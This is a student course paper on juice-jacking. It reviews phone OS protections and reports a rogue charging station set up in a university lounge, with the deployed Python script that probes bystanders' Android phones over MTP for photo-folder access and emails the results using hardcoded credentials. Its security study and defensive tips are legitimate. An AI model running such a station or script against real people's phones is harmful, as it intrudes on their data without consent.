

Got Juice?

Juice-jacking Maxwell Dworkin Attendees

CS105: Privacy and Technology
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December 11, 2015



1 Abstract

Batteries are unable to keep up with smartphone usage. In response to the low battery epidemic, many social centers and shopping destinations have set up “charge stations,” consisting of powered common phone charging cables. These charging stations represent a privacy threat, as most phone charging cables facilitate both a data and power connection.

2 Introduction

Because phone charging cables transmit data, smartphone OS designers and distributors have created defenses against so-called “juice-jacking,” wherein an assailant without authorization either retrieves data or injects malware when a user charges their phone. However, as is often the case in the world of privacy and technology, these protections against juice-jacking detract from convenience. I thus created a rogue charging station which encourages users to embrace convenience over data protection. I deployed this charging station in the second floor student lounge of Maxwell Dworkin, the Harvard computer science building.

3 OS Protections

Each smartphone operating system has a suite of protections in place against juice-jacking. Here, I analyze the main lines of defense and limitations for three such operating systems.

3.1 iOS

- As of iOS 7, Apple employs two major protections against juice-jacking. First, an iOS device’s data connection is entirely powered down when the phone is locked. Second, on an attempted data connection, an iOS device presents a prompt asking the user

to ‘Trust this Computer?’ If the user responds, ‘Don’t Trust,’ the data connection remains disabled; if instead the user responds, ‘Trust,’ the data connection is enabled.

- The iOS notification asking users to ‘Trust this Computer?’ is flawed and can be manipulated. First, the word choice is questionable: people generally regard themselves to be trusting, so this notification toys with human psyche. Second, the meaning of “trust” is entirely opaque to a layman, as data connection and communication is opaque. Third, and most importantly, this notification is annoying. Dozens of websites are devoted to instructing iOS users to prevent the notification from appearing.

3.2 Android

- Android Ice Cream Sandwich and later likewise employ two major protections. Most Android handsets have their data connection disabled when the phone is locked. Android has “MTP,” or media transfer protocol enabled by default; however, a passive notification is presented to an Android user when this connection is made. MTP and “PTP,” an alternate transfer protocol designed for pictures, can be disabled manually.
- Androids’ default settings make these phones vulnerable to juice-jacking. While the user is alerted when a data connection between a computer and the phone is active, the user’s data has already been compromised, even if the user then disables MTP.

3.3 Windows

- Windows handsets protect against juice-jacking by limiting a response to a data request when the device is locked. This strategy is unique among the OS competition.
- In providing a partial response to a data request, Windows exposes the layout of the phone’s data, even when the phone is locked. This information can be used to access a

remote storage device (such as a microSD card) if used with the handset¹. Further, as of Windows 8, users were not able to encrypt the contents of this additional storage.

4 Materials and Methods

At the 2011 Defcon conference, one “hacker” presented a rogue charging station. Over the course of the week-long conference, 360 attendees used this charging station². In 2013, researchers at Georgia Tech presented a rogue charger which was capable of injecting malware onto an iOS device in under a minute³. Thus juice-jacking has been exposed as a risk since 2011, and the above obstacles to juice-jacking have been implemented since then. In designing my rogue charging station, I wanted to see which protections users would compromise – particularly, if users would unlock their phones – for the sake of convenience.

4.1 Materials

I purchased the following materials in order to assemble the rogue charging station:

- 2x USB micro charging cables (Android + Windows devices)
- 2x USB lightning charging cables (iOS devices)
- A self-powered USB hub
- A USB splitter
- A Raspberry Pi
- A 32GB SD card

¹Windows Phone 8.1 must be configured to enable data-at-rest protection for removable storage media or to disable the removable storage media. https://www.stigviewer.com/stig/microsoft_windows_phone_8.1/2015-05-13/finding/V-58947

²Beware of Juice-Jacking, <http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/>

³Mactans: Injecting Malware into iOS devices via Malicious Chargers, <https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf>

4.2 Methods

I wrote a program which sends me an email if a USB device was connected with an enabled data connection. In particular, in the case of an Android or iOS device, this meant that a user was not only charging their device from my rogue unit, but had given up their first line of defense against juice-jacking: they had unlocked their phone. In order to facilitate such interactions, I placed the charging device on a study table, hoping that users would sit at the table and thumb through their phone while connected. Likewise, I selected 3' USB cables to enable this interaction mode. If my charging station is unplugged, it will restart the usb counting script on startup. If an error occurs when running the script, the script simply ignores the error. If the script is killed, it is relaunched by a helper application.

Being a miscreant, I also wanted to determine whether users of my charging station had yielded all data protections. I focused on Android users in this endeavor, as iOS uses a proprietary transfer protocol. When an Android device is connected to my charging station, I attempt to enable an MTP connection. If that connection is successful, I search the user's phone for a folder entitled "DCIM." If such a folder is found and is accessible to me, I disconnect from MTP and email myself a notification that a user has effectively given me access to all of the photographs on their phone. While I considered posting three random pictures to Twitter in response to such an event, I realized this would overstep.

5 Results

As of December 11, 21 users have used my charging station and yielded their first line of defense by unlocking their phones. The charging station has been in operation since November 30. Of the 21 devices, 19 were iPhones; 1 an LG, 1 a Samsung Galaxy. The LG

device had MTP disabled, but the Samsung device allowed me to access its DCIM folder.

6 Defense Against The Dark Arts

Simple steps can protect users from juice-jacking. I enumerate those steps here:

1. Avoid using charging stations!
2. When using a charging station, power your phone down.
3. When using a charging station, do not unlock your phone.
4. iOS users should not trust computers, except their personal machine for syncing data.
5. Android users should disable MTP and PTP unless syncing data.
6. All users should wear a “USB condom”⁴ when charging their devices.

7 Conclusion

Juice-jacking has potential to compromise data security on smartphones. Photographs can be stolen, malware can be injected. In a lounge devoted to computer science students, 21 attendees have compromised the protections that their smartphone OS'es offer for the sake of powering up. Maxwell Dworkin has relatively small throughput, and most attendees bring computers and their own USB cables with them. Given that in this small, controlled environment, I saw significant charge use, I posit that a rogue charging station could wreak havoc in a heavily attended location such as an airport or a popular shopping destination.

⁴Available for \$4.99 from SyncStop, <http://shop.syncstop.com/collections/buy/products/usb-condom?variant=808433739>

A Appendix: Deployed Code

Thanks to <http://stackoverflow.com/questions/8110310/> and <https://drautb.github.io/2015/07/27/the-perfect-exchange-mtp-with-python/>

```
#!/usr/bin/env python
```

```
import datetime
```

```
import re
```

```
import subprocess
```

```
import smtplib
```

```
from email.mime.text import MIMEText
```

```
from sets import Set
```

```
import pymtp
```

```
def get_dcim_folder_id(device):
```

```
    for folder in device.get_parent_folders():
```

```
        if folder.name == "DCIM":
```

```
            print folder.folder_id
```

```
            return folder.folder_id
```

```
def getCurrentDevices():
```

```
    devices = []
```

```
    device_re = re.compile("""Bus\s+(?P<bus>\d+)\s+Device\s+
```

```
        (?P<device>\d+)\s+ID\s(?P<id>\w+:\w+)\s(?P<tag>.+)$""", re.I)
```

```
    df = subprocess.check_output("lsusb", shell=True)
```

```
for i in df.split('\n'):
    if i:
        info = device_re.match(i)
        if info:
            dinfo = info.groupdict()
            dinfo['device'] = """/dev/bus/usb/%s/%s
                               """ % (dinfo.pop('bus'), dinfo.pop('device'))
            devices.append(dinfo)
return devices

BASELINE_DEVICES = getCurrentDevices()
NUM_DEVICES = len(BASELINE_DEVICES)

print "Startup successful!"

def loop():
    global BASELINE_DEVICES, NUM_DEVICES

    devices = getCurrentDevices()

    if (len(devices) > NUM_DEVICES):
        NUM_DEVICES = len(devices)
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.ehlo()
```



```
server.starttls()
server.ehlo()
server.login('jimwaldoisthebestest@gmail.com', 'JimWaldo!!!')

dcim_folder_id = 0
dev_out = []
for dev in devices:
    if not dev in BASELINE_DEVICES:
        dev_out.append(dev)
        try:
            # Connect to device
            device = pymtp.MTP()
            device.connect()

            dcim_folder_id = get_dcim_folder_id(device)
            print "DCIM folder id: %s" % dcim_folder_id
            device.disconnect()
        except:
            pass

if (dcim_folder_id > 0):
    msg = MIMEText(str(datetime.datetime.now()) + ' ' +
                   str(dev_out) + "DCIM folder found.")
else:
    msg = MIMEText(str(datetime.datetime.now()) + ' ' +
```

```
        str(dev_out))

msg['Subject'] = 'New USB device connected'
msg['From'] = 'jimwaldoisthebestest@gmail.com'
msg['To'] = 'jimwaldoisthebestest@gmail.com'
server.sendmail('jimwaldoisthebestest@gmail.com',
                'jimwaldoisthebestest@gmail.com',
                msg.as_string())
server.close()

f = open('log_charging_usage.txt', 'a')
f.write(str(datetime.datetime.now()) + ' ' +
        str(dev_out) + '\n\n')
f.close()

elif (len(devices) < NUM_DEVICES):
    NUM_DEVICES = len(devices)

if __name__ == "__main__":
    while 1:
        try:
            loop()
        except:
            pass
```

B Appendix: Q&A from Class Presentation

- Q: Is there a difference between plugging in your own specific USB chord and using a charging station that has one already? (Does a charging station with its own USB give it a higher probability of acquiring more data?)

A: There are two types of USB cables: one type transmits both power and data, another transmits only power. If you carry a power-only cable, you are indeed protected in much the same way as you would be if you used a USB condom. However, if you carry a data cable (and most USB cables are data cables), you are not afforded any protections.

- Q: If android debugging is enabled, I would very much like to see some test installation of root-access applications that can then hide on the device. If it can be done quickly, that would be amazing! (Also phone will not have to be unlocked) I am also curious what proportion of user's phones are unlocked.

A: Indeed, this would be a very interesting follow up to my work. Sadly, for a charging station deployed in Maxwell Dworkin, I believe this experiment would not turn up many results. Of the 20 phones used with the charging station to date, 19 have been iPhones. That said, previous research has demonstrated that with an iPhone which has given "trust" to a computer, malware can be injected in less than a minute⁵.

- Q: What is the maximum threat once you gain access? How much data could you collect, and would that impact people beyond just the phone accessed? (for example phone numbers and contact names of other individuals)

A: The threat is significant. If you're able to gain access to the phone in this capacity,

⁵Mactans: Injecting Malware into iOS devices via Malicious Chargers, <https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf>

the phone's data is presented to you in an unencrypted form. You can immediately take any information from the phone which is designed to be synced between phones and computers – all media and contacts. Moreover, this attack enables the injection of malware onto the phone, as the data communication is two-way. Such an attack was demonstrated by Georgia Tech in 2013⁶.

- What is and isn't illegal surrounding what information can be used/taken from your phone when it is unlocked in a charging station? Are the privacy attacks something that can be done or is legal to do?

A: I haven't thoroughly investigated the legal issues around this technology. I would hazard a guess that so long as a terms of use is viewable, a malicious charger which retrieves data from the device is permissible, while a malicious charger which injects malware is not.

- Q: Your project was fascinating and I will certainly never use charging kiosks again. But in my mind, your project raises a lot of questions, specifically regarding regulation of operating a charging kiosk. Since many people (including myself before today) had no clue that connecting to a kiosk and operating my phone could put my data at risk, should the government step in and "protect" people by banning these charging kiosks (unless they explicitly inform the people using it through a sign.) It's essentially the opt-in/opt-out debate regarding informed consent.

A: Public charging kiosks provide an extremely useful service, so I am not in the least bit opposed to them. My suggested reform is with smartphone operating systems. I believe Apple is on the right track with their "Trust this Computer?" notification before enabling a data connection. With better wording, and perhaps a less annoying

⁶Ibid.

notification which defaulted to a non-trusting state, this protection could ensure that rogue charging stations posed a very limited threat.

- Q: Very interesting work—I agree that most people simply ignore the risk associated in connecting their phone to charge at a charging station. Do you know if there are any statistics that show that this goes beyond the theoretical field and that some of these charging stations do, in fact, contain computers in them that are capable of gathering information? It'd be interesting to see whether it is a documented attack. Also, to your knowledge, how often do you think charging kiosks collect data from phones? It is clear from your presentation that this data collection is possible, but is it implemented?

A: Researchers speculate that this type of attack has not been launched in any substantial form to date. In 2011, a Defcon participant presented a malicious charger at the hacking conference, and saw 360 self-labeled “hackers” use the charging station over the course of a week⁷.

- Q: Why were you not able to get at the DCIM folder of these 10 users? Is there another protection in Android that prevents you from doing so? Or were all these 10 users protecting themselves in some way?

A: My MTP attack is only launched on Android users. Of the 10 users prior to the presentation, 9 were iPhone users, and the 1 Android user had MTP disabled. As of December 11th, 20 users have unlocked their phones while engaged with my charging unit. Of those, 19 have been iPhones.

⁷Beware of Juice-Jacking, <http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/>